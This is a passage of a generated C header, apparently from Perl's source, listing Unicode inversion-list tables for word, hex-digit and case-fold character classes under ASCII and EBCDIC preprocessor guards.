0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXWORD_invlist[] = { /* for EBCDIC 037 */ - 1407, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x200C, - 0x200E, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXXDIGIT_invlist[] = { /* for ASCII/Latin1 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x41, - 0x47, - 0x61, - 0x67, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF27, - 0xFF41, - 0xFF47 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXXDIGIT_invlist[] = { /* for EBCDIC 1047 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x81, - 0x87, - 0xC1, - 0xC7, - 0xF0, - 0xFA, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF27, - 0xFF41, - 0xFF47 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXXDIGIT_invlist[] = { /* for EBCDIC 037 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x81, - 0x87, - 0xC1, - 0xC7, - 0xF0, - 0xFA, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF27, - 0xFF41, - 0xFF47 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL__PERL_ANY_FOLDS_invlist[] = { /* for ASCII/Latin1 */ - 253, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xB5, - 0xB6, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x131, - 0x132, - 0x138, - 0x139, - 0x18D, - 0x18E, - 0x19B, - 0x19C, - 0x1AA, - 0x1AC, - 0x1BA, - 0x1BC, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C4, - 0x221, - 0x222, - 0x234, - 0x23A, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25D, - 0x260, - 0x262, - 0x263, - 0x264, - 0x265, - 0x267, - 0x268, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29F, - 0x2BC, - 0x2BD, - 0x2BE, - 0x2BF, - 0x300, - 0x302, - 0x307, - 0x309, - 0x30A, - 0x30B, - 0x30C, - 0x30D, - 0x313, - 0x314, - 0x331, - 0x332, - 0x342, - 0x343, - 0x345, - 0x346, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3D2, - 0x3D5, - 0x3F6, - 0x3F7, - 0x3FC, - 0x3FD, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E00, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2180, - 0x2183, - 0x2185, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C71, - 0x2C72, - 0x2C74, - 0x2C75, - 0x2C77, - 0x2C7E, - 0x2CE4, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69C, - 0xA722, - 0xA730, - 0xA732, - 0xA770, - 0xA779, - 0xA788, - 0xA78B, - 0xA78E, - 0xA790, - 0xA794, - 0xA796, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 